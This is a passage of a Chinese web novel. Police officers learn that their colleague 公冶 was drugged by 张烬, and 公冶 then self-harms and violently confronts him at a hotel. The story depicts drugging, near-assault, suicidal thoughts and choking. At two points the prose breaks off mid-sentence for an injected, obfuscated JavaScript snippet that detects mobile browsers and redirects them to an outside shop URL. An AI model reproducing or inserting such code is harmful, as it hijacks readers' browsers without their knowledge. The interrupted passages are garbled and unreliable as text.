金曦不敢去碰流血的女儿,跪伏在孩子身边,把那些血往回拢,抓狂懊悔地哭吼着,几缕发丝蓬乱地掉在脸前。等救护车的时间里,她眼睁睁看着鲜血如流淌火蔓延开来,染透了新买的蓝色羽绒服。 女儿全身都紫了。 她要疯了。 “有谁是医生……谁懂医术……谁来……救……我的女儿……” “谁来……” “救救我女儿——!” 邓烟雨的眼睛始终没有合拢,倘若昏死过去倒好了。大车撞向肉躯,那分崩离析的痛楚不可动摇地弥漫在骨缝里。 妈妈不要哭。 她喉咙滚着腥气,手伸向金曦,看见自己胳膊上沾了好多好多血,像绵亘分支的溪水。 手一落,她如愿以偿地睡去。 “不要——”金曦抖落着泪,抬起头,孤立无援地环顾四周,发现一个不该出现于这里的人,面孔骤青。 金曦不愿相信地喃喃:“你为什么……” 那个人似瘸了腿,却依旧一路飞奔,对她大喊。金曦沐着血站起来,青筋爬上清瘦的脖颈,从肺腑里声嘶力竭地叫出:“邓忠云——” “邓忠云!!!” 母亲声声的悲愤喊醒了邓烟雨。 视野里不再昏暗,身后的窗帘只拉了半截,有冬日的阳光洒进来。 邓烟雨动了动,满身的冷汗恍如当年的那一摊血,她想起昨晚公冶摸到的腹侧疤痕,那是苏赞留下的,而那场车祸也给她身体留下了各种丑陋的印迹,导致她小学游泳课死也不肯换衣服。 邓烟雨将被子拽上来些,在床里不适地翻覆,忽听房内传来游戏打斗声,她一怔,仰头去看。 “呀,你醒了么?” 床尾放着一把椅子,椅子上坐着一个女人。她身穿警装,和公冶一样没有扣起的习惯,露出里面配套的黑领带和白衬衫。 女人坐姿不雅,一条长腿为求舒适而架起。她手持掌机PK怪物,按键摇杆切换自如,掌机的奶绿保护壳上贴着某位顶流男明星。 斗得正酣,她突然抬眼,对邓烟雨投来似笑非笑的散漫眼神。 邓烟雨微吃一惊。 她染过头发,渐变得极好看的黑蓝短发垂肩,秀丽的五官如水墨画轻淡,眼尾柔和上挑,缀了颗泪痣,虹膜是偏深的松涛翠绿,和发色搭得挺潮流。 “哈喽,小美女,”她放下掌机,亲切地招手,“做噩梦了吗,听你一直在小猫哼哼,需要我倒杯水吗?” 邓烟雨没说话,就呆呆看她。 “我是影青的同事,和他一组的,”她端正态度,慢慢自我介绍,“代号极乐,是公安人员,不要害怕哦。” 一骨子的懒劲。 她应该属于那种天塌下来还能心平气和地问今晚吃什么的高人,难怪能和公冶凑一组干活。 “你好,”邓烟雨对她第一印象很新鲜,坐起来问,“公冶警官呢?” “他一大早出去了,也不知给你买啥好吃的,瞒着不说呢,”极乐笑,“虽然白天标记值不高,但他不放心,于是把你托付给我了。” “噢噢,这样啊。”邓烟雨若有所思。 以前公冶白天出去,也不会特意让他同事来照顾,这次是为什么…… 邓烟雨回想昨晚的事,燥热复发,她下床穿拖鞋,说:“我先去洗漱。” “请吧。” 等她从卫生间出来,极乐面部发生了些许变化。 离近了才发觉,这孩子生得小巧玲珑,比当初在平板上看到的还要软糯,浓密的头发睡炸了,像只摆在床头雪绒绒的卷毛小熊。 她笑了,那副表情纯纯就是勾引小白兔的坏狐狸:“我们加个联系方式吧,我姓亓官,全名亓官友知,友善的友,知识的知。” 邓烟雨添加以后,在备注栏填上“友知姐”,问:“可以叫你友知姐吗?” “可以啊,你好可爱,”极乐揉了揉邓烟雨的脑袋,妖娆的眸子微眯,“我能叫你小雨吗?” 邓烟雨点头:“这是我小名。” “影青也这样叫你吗?” “不是,他叫我全名。” “什么狗男人,这么没情调。”极乐笑眯眯地骂着自家组长。 要不是那个没情调的男人在她生病期间抢先一步占了人家,她这会儿就准备掳了邓烟雨回家养着了。 “友知姐,你知道公冶警官去哪里了?” “不知道,他没和我说,就让我来代个班,今天可是周六诶,他自己是个没人性的工作狂魔,还拉着我无偿加班,果然男人没个好东西。” 邓烟雨真诚地说:“他……是好人。” “哇,给他发好人卡?看来他没戏了呀,哈哈哈,”极乐捧腹大笑,替她想了想,说,“估计熊老大知道你的公冶警官去哪了,等等啊,”她恋恋不舍放开邓烟雨,过去打开门,冲外头娇嗔地喊,“老熊啊——” 邓烟雨一愣,没想到熊警官也在。 “极乐,说了多少次别这么喊我,病好了就嘚瑟!” 熊小滚也是天还没亮就被公冶的电话薅出被窝,早饭都没管上两口,急匆匆赶来了下属的豪华小区,饿着肚子搁客厅守了两小时的寂寞,便钻那不染片尘的厨房里,给自己忙活出一道火腿配煎蛋的西式早餐。 他擦着湿手往这走来,看向站着的邓烟雨,立刻换上正派脸,关心道:“身体还好吗,昨晚没事吧?” 昨晚的绝妙体验让邓烟雨听到“昨晚”这两个字就产生了敏感的反应。熊小滚这样切入,应该是对事有个轮廓,但细节一概不知。 邓烟雨拿不准主意,也兜不住秘密,在两名警察的火眼金睛下,拧着衣摆故作轻松地说:“和往常,一样啊,没什么事。” 熊小滚和极乐沉默地看着她。 撒谎的痕迹太明显了! 他俩对视一眼,极乐先开口:“组长去哪了?” “啊?”熊小滚一脸茫然,“他没和你说?” “啊?”极乐也一脸茫然,“他没和你说?” 邓烟雨站在二人中间,默默道:“你们为什么要重复对方的话。” “就是说啊,老大你重复我的话干嘛。” “是你重复我的话好吧,”熊小滚还完嘴,才觉得和女下属争论这种没营养的话题太犯蠢了,挥挥手,“你给影青打个电话,这家伙干什么去了。” 极乐拨通公冶的电话,举到耳边,三十秒过去了,没人接。 “组长不接。” “再打,”熊小滚沉思片刻,说,“邓烟雨,昨晚确定没发生什么事吗?昨天晚上十二点左右,影青给我打电话,说他不舒服,要把你交接给极乐,他能对我说出交接,可见身体是真的非常不舒服。” 邓烟雨听他道来,不自觉地咬唇。 “我建议他温水洗澡,如果出来还难受就打我电话,让极乐来接你。后来我等到半夜一点,他并没打过来,我想便是没事了。” “所以是没事了吗?”熊小滚盯紧邓烟雨,“你知道情况吗?” 邓烟雨轻轻咽着,抬眸看向熊小滚,又看看极乐。 “小雨,要和我们实话实说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579289|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦,”极乐依然没打通电话,媚眼里添起缜密的寒气,女人的第六感让她问出一句,“昨晚,他有没有进你房间?” 熊小滚目露震惊。 邓烟雨陡然颤了一下,极乐将这一破绽尽收眼底:“昨晚,组长是不是对你出手了?” 这不可能。 熊小滚心中下意识喊了声,认为当中肯定有另外的因素存在,方要启口,邓烟雨说:“我觉得公冶警官好像发情期到了……” 两位警官眼眸一凛,气息剧降。 “他从体检完回来,身体就不太对,很疲惫,也没胃口,晚上来我的卧室拿小银管,我看他头发湿的,就给他擦了擦,然后他瞳孔突然就……变细了,像是不认识我了,并且对我有……有生理需求……” “嗯,”极乐给予回应,“接着说。” “后来他是自己恢复神智的,但非常痛苦,跑出去时让我锁门,至于在外面什么情况,我不知道,我一个晚上都锁着,凌晨五点听到很响的关门声,我就开了条缝望了一眼,之后太困就睡了。” “我们五点还没到,他可能走得急,路上给我们打的电话,”极乐十指交叉压响筋骨,说,“确定就这些吗,他什么也没做?你再仔细回想一下。” 极乐审讯的风格是温柔杀,邓烟雨闭眼,如实相告:“亲了。” “就亲了?” “是的,他很快恢复了。” 极乐目光回到熊小滚身上,熊小滚的脸已经白了一度:“影青身体素质比较特殊,无故不会发情。” “我清楚,除非有药物影响,”极乐一语道破,脸也冷了,“老大,昨天瑶光省来人,张烬给他做了什么?” “张烬把我支出去了,他打了什么我没看见,但影青自己会顾着,他当时必定没瞧出问题,”熊小滚懊恼地抓头,“联系他,我怕他干傻事!” “我联系不到,亲爱的熊大。” “那我来。” 可熊小滚打了三通,同样没得到回应。他焦躁地走向客厅,视线一扫,在沙发上发现一样闪烁的东西—— 公冶的手机。 熊小滚呼吸一顿,走过去,拿起,极乐和邓烟雨也在这时出来了。 熊小滚朝她们亮出嘣嘣跳着来电显示的手机:“他没带。” 邓烟雨慌张道:“那该怎么找他,他会去哪?” “会去哪……”极乐摸着下巴,思索,“他能自行恢复神智,想来也知道自己发情了,张烬给他打完针当晚他就失去理智,说严重点,小雨要不愿意,这属于犯罪了,你们说他会气成啥样?不是去找张烬对质,难道一怒之下回单位上班不成?” 邓烟雨心乱如麻,熊小滚头顶已阴云隆隆,口吻倒是出奇镇定:“去找张烬吗,这很有可能……” 未等说完,熊小滚的手机猛然来电,是GS特发科的座机电话。 他接起,按了免提,还没“喂”出一声,对面就吼道:“哥!不好意思休息天打扰你,君豪大酒店出事了,已经连续往我们指挥中心打来好几通警情,说那边有个珍美要杀人,闹得不可开交,我们已经遣去一批警力,但酒店大堂还在持续往中心报警,大概被那个珍美吓得不轻……” “我知道,我马上出现场,”一连串惊天消息砸得他喘不过气,熊小滚挂断电话,淡淡地说,“君豪大酒店是张烬培训的地方。” 三人不约而同捏了把汗。 极乐当机立断:“走,去找人。” 熊小滚:“不,你留下陪着邓烟雨,我去。” 极乐:“不,小雨,你跟我们一起去。” 熊小滚:“啊?!” 邓烟雨:“啊?!” “啊什么啊,”极乐随手抓了件公冶丢在沙发上的衣服给邓烟雨套上,拉着她去玄关换鞋,“组长找张烬算账就只算昨天的么,他在瑶光十一年的苦难谁来为他伸冤,老大你一个人救得了他吗,公安有管过吗?” 熊小滚未曾出声,邓烟雨系着鞋带的手在抖,她似乎即将窥见公冶那不为人知的血色童年。 “顾令萍被捕了吗,张烬被查了吗,没有,他们一个个有名有钱,日子过得不要太滋润,天天商量着怎么把组长算计回去继续挖心挖肺做实验,组长他快熬死了,会甘心打碎牙齿和血吞?这次是株连了旧账一并爆发了,他要火起来,还管人家什么省厅领导身份。” “你明知他在气头上,还带邓烟雨?” “就是在气头上才要带,小雨跟去说不定能震住场子,”极乐不管熊小滚惊掉大牙的表情,吼着,“快啊,你他妈磨叽什么呢!” “你——”熊小滚瞅着俩女生风风火火跑出门,也赶紧去换鞋,边换边冲门外嗔怒地喊,“你对上司讲话注意态度!慢点你们!等我——” 37. 刀 凌晨五点零五分,公冶坐在冷气充盈的车内,手扶方向盘,额头抵落,乌黑碎发在战栗的手臂上乱开,副驾驶座撒着一把银色注射器。 拨雨撩云的药效涨涨退退,并未如预期一般逐步消退,而是在后半夜气势汹汹地杀入腹地,他意识粉碎,瞳孔像弹簧在一阵阵缩紧。 ——好热,好痛,难受,想死。 这一夜,他起过无数次死的念头,回神时,手里已经多了一把沾血的刀。 第一反应是:我伤了谁? 他大脑是恍惚的,痛感是麻木的,像被逼到绝境了,握着唯一能反抗、也唯一能自毁的武器,狼狈地爬起来,洗掉手腕的血。 没有在身上找到伤口,真可笑,愈合太快了,连怎么自残的都不知道,他甚至不记得刀哪来的。 镜子里,是一个惶恐而呆滞的自己,人不像人,鬼不像鬼,鼻梁和面庞溅着血点。 他看到了自己眼中,有什么东西,在无声无息地崩塌着。 这次,往心脏捅去会怎么样? 会好过些么? 带着这个念头,盯着这把刀,他拿起手机,点开右上角的办公软件,给熊小滚和简繁发了辞职报告。 下楼前,他又去淋了冷水。进车后,他扔了刀,把车载空调开到最大档,冻得牙齿打架,却还要让自己仅剩三十度的体温降下去。 药效循环往复,百般折磨,已在他体内横冲直撞了将近六个小时。 冒着刺骨的晨风开出小区,天边已泛白,他找到一座电话亭,冻紫的手指按下一串手机号码,和极乐取得了联系。 “来照看邓烟雨……”公冶确定声音不会抖了,才和极乐通话,“她心情可能不太好,你和她聊聊天。” “好吧,我知道了,大约八点到。”极乐没细想,接下了任务。 接着他打给熊小滚,把睡眠不足的黑熊从被窝里薅着头皮拖出来。 好在这头黑熊看在他是自己一手带大的份上不计现嫌:“知道了,我来。你怎么用公用电话打,你去哪?” 休息天没及时看工作上的邮件消息实属寻常,总会看到的。 公冶没有提醒他,只说:“我出去办点事。” 不等熊小滚回复,公冶挂了。 他站在枯叶乱滚的马路牙子上,被冬风吹干的白短袖狂贴脊背,侧影一夜之间瘦成一片纸,和当年走出手术室站在阳光下的惨样毫无二致。 公冶坐回车里,车窗全部拉下,让风灌进来,黑发压着冷白病态的皮肤,眼眸空洞地锁住前方。 早高峰将近,拎着帆布袋或公文包的上班族来往于人行道上,满脸“周末还要上班人活一世受尽剥削宇宙怎么还不毁灭”的苦大仇深。 包子铺前的阵仗比工作日空些,没有排起长龙,倒是做粢米饭的早餐摊八百年不变的人潮汹涌,围拢了好些男女老少。 公冶没吃过粢米饭,幼时便念想着,却始终不得机会。 这次是个很好的机会,走过去就可以买一个,给邓烟雨也可以带一个。 但他不需要了。 后座的刀被洗过,寒光流刃。他用阴暗的目光凝望着一幕幕生机盎然的城市景象,天再冷,早餐店也是暖和的,大蒸笼一挑开,泼出香乎乎的热气。 哄——引擎浑厚咆哮,他踩死油门,往君豪大酒店风驰电掣驶去。 “您好,是张老师吗,我叫柳雯,是满月区作协成员,非常荣幸今天能在这见到您。” 君豪大酒店五楼报告厅,高奢香气熏染,张烬从洗手间回来,正戴着手表往台上走,被一个女生叫住。 能面见钦慕已久的前辈实属三生有幸,她私下里事先练习过,一顿表达非常流利:“我拜读过您的著作,尤其是《我在绿野》,让我触动颇深,主角沙怜为挑战极限,独自横穿塔克拉玛干沙漠无人区,意外遭难,他团队做的所有认路标记被沙尘暴吹毁了,恐慌到极点的他自己吓疯了自己,一路苦寻绿洲,临死前终于在梦里寻到了,真是太扣人心弦了,特别震撼,我都读哭了……” 她喋喋不休期间,张烬已扣好腕表,灯光洒满金碧辉煌的大厅,也洒在他修剪清爽的眉宇间。 “昨天采风就想找您聊一聊,可您好像没去。” “我昨天刚好有急事,所以没到场,”张烬不露一丝腻烦,致歉地笑,“不好意思啊,也谢谢你的支持。” “没事没事,不客气,能和您聊上一句我就很开心了。” 应付完书粉,张烬来到台上。今天首场培训尚未开始,大屏幕与活动主题横幅在后方徐徐拉开,会议桌上摆着矿泉水和湿毛巾,他随手翻了翻培训资料,甩在亮明隆重身份的姓名桌签旁。 张烬刚要坐下,被拍了肩膀,他扭头,见是市文联副主席,以及文化宣传部几位大领导也陆续到场,他连忙起身与诸位握手言笑。 “你前两天在忙什么呢,采风也不参加。” “一些琐事,去了趟公安。” “哎哟,瑶光都忙不过来,这边还要你费心劳神,辛苦了啊,”宣传部长与他用力握了握,松开手,落座笑道,“我料你忙啊,请不来,没想到你是真不嫌路长专程跑一趟。” “嗐,您一言九鼎,这不都冲我发话了,我岂有不从之理。” “哈哈哈哈——” 台下的文艺专家及业务骨干也凑了上来,和张大名人闲聊了几句,离培训开始还剩五分钟,宽敞的报告厅暖气适宜,气氛融洽。 “等等,先生!” “先生你是培训成员吗!这里在开重要培训你不能上来!” 走廊尽头响起脚步杂沓声和叫喊声,报告厅前后两扇巨门未关,入耳清晰。 “怎么回事,”末排有人说,“五星级酒店还这么吵?” “哼哼,真要吵起来,谁管你几星级酒店呢。”隔座的男人搭了一腔,尾音还没散干净,立刻被闯进来的人携风刮碎。 他顺势仰头,稀松平常的脸色转瞬消失,视线直勾勾凝冻在这个大冬天只穿一条薄短袖的美食家身上。 报告厅百来号人齐刷刷回头,焊在位子上,一动不动。 公冶死寂的目光扫开来,往前扫,定格于台上。他挥开冲上来的四五个魁梧的保安,拔步朝前走,高处所有人站了起来,目睹他跨上台。 “你是……” 大伙愣着神,一句完整的话也没问出,甚至都反应不过来,就听见椅子在温柔的地毯上咵啦一声划出、歪倒—— 隔着长桌,坐在中间的张烬被公冶攥住衣领,活生生提起来,随即粗暴地往外狠拽,张烬整个人的重量磕在桌面上,堵住了出喉的呼叫,只能任由公冶将自己一把拖出去,水杯资料跟着人落花流水摔溅一地。 印着“张烬”的桌签轻声掉地,被公冶一脚踩裂。 “主任——” “张、张老师!” “你是谁你要干什么?!” 满场的人噌噌站起,恐慌地叫着张烬,台上的大领导纷纷跑出来,张烬微抖的眼珠子惊瞪着这个气场恐怖的人:“渡莲——” 一切发生得太猝不及防,张烬脚踩不稳,在地上滑出两下子,真就是被公冶提着才不致摔倒。他奋力去扯胸口那只箍紧的铁手。 “渡莲!” “你放开我!你怎么回事?!” “公冶渡莲!” 公冶手臂一挥,把张烬痛甩在墙上,周围爆出惊叫。 “大忙人,还有空来捅我一刀,我看是你日子过得太逍遥了。”公冶伸出食指在张烬太阳穴上点了一点,把张烬点得先是一傻,旋即怒火攻心。 “你……你这是要干什么!” “我要干什么?”他眼底亮得狂乱,“你说我要干什么?你不是希望我快点去死吗,但一个人下地狱太寂寞,我打算捎上你。” 张烬撑着地,难以置信地看他:“渡莲……” 公冶从腰间抽出一把水果刀,掷在张烬面前,张烬脸都吓白了。 “自己动手吧。”公冶睥睨着他。 张烬慢慢从地上爬起来,扶住墙:“你到底怎么了……” “不要再演了。”公冶说。 “我演什么了,”张烬十分无辜地吼道,“你……你是警察!怎么可以公共场所持刀行凶,你是疯了吗?!” 周围闻言哗然不绝,公冶就知道他要来这么一下,虽然早有预料,但还是被恶心到了,眼角轻微地抽搐。 “莲,别吓我,有什么不愉快,我们好好……” “已经不是了,我辞职了,”公冶打断他,逼近他,轻笑着说,“所以我才敢啊。” 张烬被他这款款一笑浇了个透心凉。 ——他确实排斥人肉,但不代表他的獠牙折不断人骨。 无数道讶异的视线朝这里投来,张烬脸皮挂不住了,堆笑上前,一字一句皆从牙缝里咬出来:“你也不看看这什么场合,文联的领导们,各协会的大人物都在呢,你想干什么啊……快点回去,回去!” “嫌丢脸?那出去说。”公冶提了他往外走,张烬挣扎:“你放——” “快报警!!”事态不可控制了,一名女领导冲台下大喊,泥塑木雕的众人当即转醒,火急火燎掏出手机。 走廊地面光洁,张烬差点扑了个下巴着地。 “你——”他擦着嘴角,“你敢这样对我?!” “有何不敢,不用你和顾令萍来变着法子来折磨我,我们今天就算清楚,同样你也别想明哲保身,我拉不下你还搞不臭你吗?” 前面那么多人在,张烬要形象,尽可能展现出自己为人父的清苦一面,此时走廊连个鬼影也不见,保安没胆子再靠近,他顷刻露出真正的嘴脸:“就你还想搞臭我?先掂掂自己几斤几两吧!你以为歌华公安会无条件地保你吗?你就是块烫手山芋,他们巴不得你滚回瑶光!你今天整这么一出,我告诉你,你完了!你等着被我押回去吧!等着被抽筋扒皮吧!” “我死不足惜,拉你当垫背够了,不必威胁我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579290|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“公冶渡莲!!” “张烬!!”公冶把人掼进电梯间,冷眼俯视着这位畏缩在角落里,德高望重的文坛巨擘,“你觉得我都这样了,还会怕死不成?” 张烬扒着冉冉上升的电梯厢,唾沫都吞不下去。 疯了。 真的疯了。 电梯上升一层以后叮地打开,外面有人在等,张烬使出吃奶的劲撞开公冶冲了出去,搡开惊叫的人群。公冶没追,就觑着他屁滚尿流地逃窜。 身后仿佛追踪着一头血盆大张的饕餮,张烬疯疯癫癫跑下楼崴了一脚,小腿抽筋了,他手机不知掉在哪,奔向前台,乱着头发说:“报警!” 大堂经理脸色也不太好:“是那个珍贵美食家……” “报警!我叫你报警!!”张烬急得拍桌,粗鲁地夺过座机,哆哆嗦嗦按下一串长号码,对面只嘟了三声,可这三声于他而言太漫长。 “喂?” “简——”第二个字噎在了嗓眼里,张烬活似让一根绳索绞住了脖子,人往后一倒,拖在了地上,电话听筒蹦极似的落下,被线一拉一拉地吊着。 大堂经理吓得尖叫投降抱住头。 张烬被自己扣得严丝合缝的衣领卡住了声,只能发出些微“嗬嗬”,无力蹬着腿,公冶将人拎起来,往雕梁画栋的大柱子那一丢。 张烬像条落水狗,抱着柱子,不停咳嗽,鼻腔里也喷出了水。 “跑什么,以为我要吃你?” “你个小兔崽子——”张烬一瞬间苍老了十岁,眼角皱纹横生,气出深深的法令纹沟壑,一下子从衣冠楚楚变成邋遢男。 “兔崽子,王八羔子,你等着被逮捕吧!你这个杀人犯!强|奸犯!” “你昨天对我注射了什么?”公冶听到最后三个字,进入正题。 “什么注射!我听不懂你在说什么!我已经报警了!你不是说你不当警察了吗,好啊,那就进去坐牢吧!到时候你一心求死还死不了呢!你活该!” 张烬呼吸顺过来了,准备积一口气再臭骂他两声,脖子顿时被一只利爪死死一钳,钩起,钉在柱子上。 他皮鞋后跟离地,瞠大了血丝密布的眼。 “我再问你一遍,”公冶探出阴森的獠牙,“你昨天,对我注射了什么?” 大堂休息区的客人埋在茶几下或沙发后面不敢动,行李员直接躲外面了,大堂经理泣不成声,抱来了座机,掉着泪,在桌下激颤着按出报警电话。 “刺舟,这个代号不错,人事科最近挺会来事啊,”暮火和同事调侃着,合上新人的履历,抬头冲他一笑,“欢迎加入GS特发科。” 四下响起啪啪啪的鼓掌声:“欢迎欢迎!入乡随俗嫁鸡随鸡!” 刺舟:“什、什么?” “他们没文化,只是欢迎词,别在意,”暮火赶开那几个不正经的,起身和他握手,“我叫暮火,是特发科大组长,原本你归一组管,但一组组长影青最近有特殊任务在身,不怎么出现,你就先跟着我学东西,还有其他同……噢,一组今天休息,其他人也不在,下周一你再和他们好好认识一下吧。” “好的!”刺舟爽朗一笑,露出两颗小虎牙。 “那你今天先……” 不等暮火第一项任务布置下来,A级警情的警铃声响了,所有人迅猛地抓上耳麦、肩咪等装备往外冲,暮火说:“跟上。” 斗香拍拍刺舟的肩:“你可摊上好事了,上班第一天就出警,开门红啊。” “指示——”金刀冲耳机里问,“怎么了!” 指挥中心来声:“君豪大酒店有珍美闹事。” “收到明白,”金刀切断后咂舌,“真行,是个蠢东西,在酒店发疯。哎君豪离太远了,开车吧,刺舟你有驾照吗!” “有!” 五分钟后,警笛声拉响在酒店外围,三台警车哧一记冲上缓坡,轮胎来不及回正,红蓝警灯打得刺目喧天,交替错闪出稳稳的安全感。 一批腰窄腿长像来选美的绿眼警察破门下车,威慑力十足,朝着事发现场大步跨去,对后头紧随的实习生吩咐:“拉线。” 刺舟正要趁其不备混入实习生堆,被暮火拎小鸡似的拎去前头。 “警察!都别动!抱头蹲下!” “哪个缺心眼的孙子一大早给你爷爷没事找事?”金刀气场全开地插兜往大堂一立,混子般骂道,视线和斜前方拧着张烬脖颈的公冶堪堪对上。 金刀:“……”嗯? 赶上来的其他公美也愣愣望着,暮火也有一瞬的迷茫。 “就……是……他……” 七零八散躲在角落里的客人们战战兢兢竖起食指,对准了公冶。 前台的大堂经理悄咪咪露出脑袋,战战兢兢竖起食指,对准了公冶。 特发科全体公美:“…………” 什么?什么?! 真的假的?! 刺舟左看看,右看看,好半晌,问出一句:“那个,不抓吗?” 38. 道歉 无人回答刺舟。 金刀等人不知所措,向暮火投去求助的眼神。暮火见张烬已缺氧,朝前迈出一步,稳声劝道:“影青,不管发生什么事,你先放开他,好吗?” 刺舟懵懵地张开嘴。 影青……不是我组长的代号吗? 诶诶诶??!那是我直属上级?! 公冶冷若冰霜的态度像是没听见,瞥也不瞥同事。数秒后,他松开张烬。 张烬双脚落地,本能地去推开公冶,一手扶柱,一手撑膝,弯下腰,眼泪鼻涕一大把地甩出,吸入的酒店香薰刺激他干呕。一时间,鸦雀无声的大堂充斥着他消停不下来的咳喘声,咳得肺要吐出来。 公冶满眼鄙薄地瞧着,周身气息坚硬得掉冰碴。 他像是泄够愤了,一字不发,转身离开。 “这就要,走了吗,哈哈……” 张烬在他背过身之际,沙哑地笑出两声,只用他能听清的声量说:“第一针活血没错,但第二针……我打的不是镇静剂。” 公冶止步,视线冻结在锃光的大理石地面。 “是催情剂,”张烬手一伸,拍住他宽阔的肩膀,捏紧了说,“正常的美食家打几滴就爽个半死,我给你全部注射了进去……” “彻夜难眠呐……” 暮火离得近,听见张烬的嘀咕里有“半死”、“注射”等只言片语,再看公冶的样子,就知这老滑头是绝无铸甲销戈的意思了。 他冷漠告知:“张主任,请放手,不要再和我同事有肢体接触。” 在暮火的警告下,公冶反而动了,他缓缓转回去,盯住张烬。 “你对她下手了是吗,不然你不会这么生气。” “你要原谅我,我原本不想采取这招,可我们没时间了。” 张烬放开他,整理皱巴巴的衣领,往电梯方向款步迈去,电梯正好打开,里面涌出一群人,是一起培训的老师。 “主任您没事吧!” “我的天啊,可吓坏我了……” 张烬对他们抱以微笑,驻足在公冶背后,继续压低了声量,说:“新一批孩子没你好用,我们等不起两年了,你妈妈也怪想你的,你最好今天就老老实实跟我回瑶光省,不要做出反抗,我手里有针对你的拘捕令,随时可以把你押回独玉监禁所,一旦进去你这辈子别想出来。” “公冶渡莲,你想杀我?凭你?”张烬斜过眼来,挑衅地笑,“有本事,你就让我血溅当场。” 最后这句话大家听了个真切。金刀眉一皱,把公冶拨去身后:“威胁的话请您不要再说了,否则——” 蓦然间,他余光里掠过一抹白影,女同事炸开声:“影青不要!” “影青!!” 张烬收拾妥帖的衣领再次被扯了个狼藉,暮火和金刀厉声喝着,第一时间冲上去分开二人,奈何公冶攥得太牢,五指如浇铸出来的铁件。 “哥!放手啊!你不能再变异了!”金刀手臂肌肉鼓涨,却怎么也掰不开他狠硬的指爪,暮火也喊:“影青你放手!” “你毁了我的人生,还要我毁了别人?” 公冶声音里注满恨意,失控地挥开同事,暮火连退三步,站定,握住吃痛的手腕,虎口居然被震开一条血口子。 大堂旋转门那进来一个人——熊小滚跑得衣衫不整,定睛看见这一幕。 “你在怪我?”张烬哼笑,“我没有让你毁了谁,造成今天这个局面的分明是你。对了,你早上起来有给那个女孩道歉吗,还是留钱了?” 公冶怒不可遏:“嘴巴放干净点!” “做个交易吧,渡莲,你跟我走,”张烬没去理会慌神惊呼的老师们,也瞪着他,“我保证昨晚的事故就是段你情我愿的一夜情,独玉分所的那些孩子也会健康平安长大,你期望的,都会得到。” 暮火简直不敢相信自己的耳朵,更不敢相信邓烟雨出了事,他惊疑的目光移向公冶:“影青?” “看看,你同事都害怕你了,你在歌华待不下去了,你还犹豫什么?选择权就在你手上,按钮就在你指下,可八年了,你不管不顾,不闻不问,不作为!是你——”张烬手指狠狠戳他的胸口,“给别人造成伤害的一直都是你,是你的胆小懦弱自私自利让那个女孩受伤,让那些孩子受伤,是你让无辜的孩子们在这八年里体无完肤、痛不欲生!是你没用!全部是你的错!” “不准再危言耸听!”暮火对张烬怒吼。 公冶松开了人,后退。 金刀心疼得火冒三丈,冲了上去,蝶衣急忙拖住他:“冷静点!” 酒店门口停满警车,没合适的空地再塞一辆了,熊小滚便把自己的车拽在贴条的马路上。他气喘吁吁过来拉开金刀和蝶衣:“别抱了,不是自家地盘,克制一下。” “老大,”他们带着哭腔说,“你可算来了!” 熊小滚眼神示意暮火。暮火拔出手铐:“张烬,你涉嫌欺骗强迫他人注射违禁药物罪,现在正式通知你被逮捕了,请跟我们回一趟市公安局。” “滚开!你一个公美凭什么抓我!GS凭什么抓我?!” “你听清楚,”暮火说,“是市公安局,公美有跨系统扭送的权利。” 张烬有恃无恐地冷笑:“官威挺大啊,乳臭未干的黄毛小子,你们歌华再大的官也管不了我!” 熊小滚火得要死,没等骂回去,暮火就大声一吼:“管不管得了不是你一介嫌犯说了算!”就势要反剪他,张烬怒目圆睁:“我是国家干部!别动我!” 话音未落,公冶彻底支撑不住,跪倒在地。 “影青?” “组长!” “你怎么了!” 耳膜轰轰响,巨大的打击如海啸裹挟着整座城市的碎块压垮了他,冷汗摔开在花纹如裂缝的大理石上。 他不想离地面那么近,这下面有他最畏惧的东西,张烬说的没错,他贪生怕死,地面一裂开,他就可以看见底下挤满的人脸,一张张鲜活稚嫩的笑容,他们密集地叫嚣,歪扭地打结,白花花地剖开,血糊糊地蠕动,挥舞着只剩下红肉的小手,要带他回到那个乐园。 邓烟雨和极乐推开旋转门,一跑进来,就看见公冶被人围着,极力扼制体内的猛药导致脸色惨白,他抬起手背,擦掉唇角渗出的血。 熊小滚错愕:“阿冶。” “公冶警官!”邓烟雨失声大叫飞奔过来,扑在他身边,“你吐血了,我们离开这,我们去医院好吗!” “张烬,你昨天给他注射了什么?”熊小滚见他不仅不答,还要走,勃然大怒地拧住了人,张烬骂道:“我衣服都破了,不要拉我!” “回答我的问题!你昨天给影青注射了什么?!” “哈,你啥都不知道就屁颠颠跑来兴师问罪?你找死吗熊小滚?!” “你看是你找死!我管你什么省厅,你是阎王老子我也敢逮了你!”熊小滚指着他鼻子骂,动上了手,刺舟见状大慌。 目前现场就刺舟情绪尚算稳定,他使劲拉住熊小滚,欲哭无泪:“各位不要再打了,熊队!您是来劝架的不是来参战的啊!” 熊小滚怒叱:“跟我回市局交代清楚!你个作奸犯科的老王八!” “你说我什么?!你——你不得好死!”张烬的几个领导朋友被挡在包围圈外急得束手无策,就听见张烬像个哇哇哭的巨婴歇斯底里,“谁敢抓我?!谁敢动我?!” “你们都疯了,知道他什么身份吗,放开!”培训的老师们黏得紧,哄开那帮警察,“我们要的是真正的人民警察来为 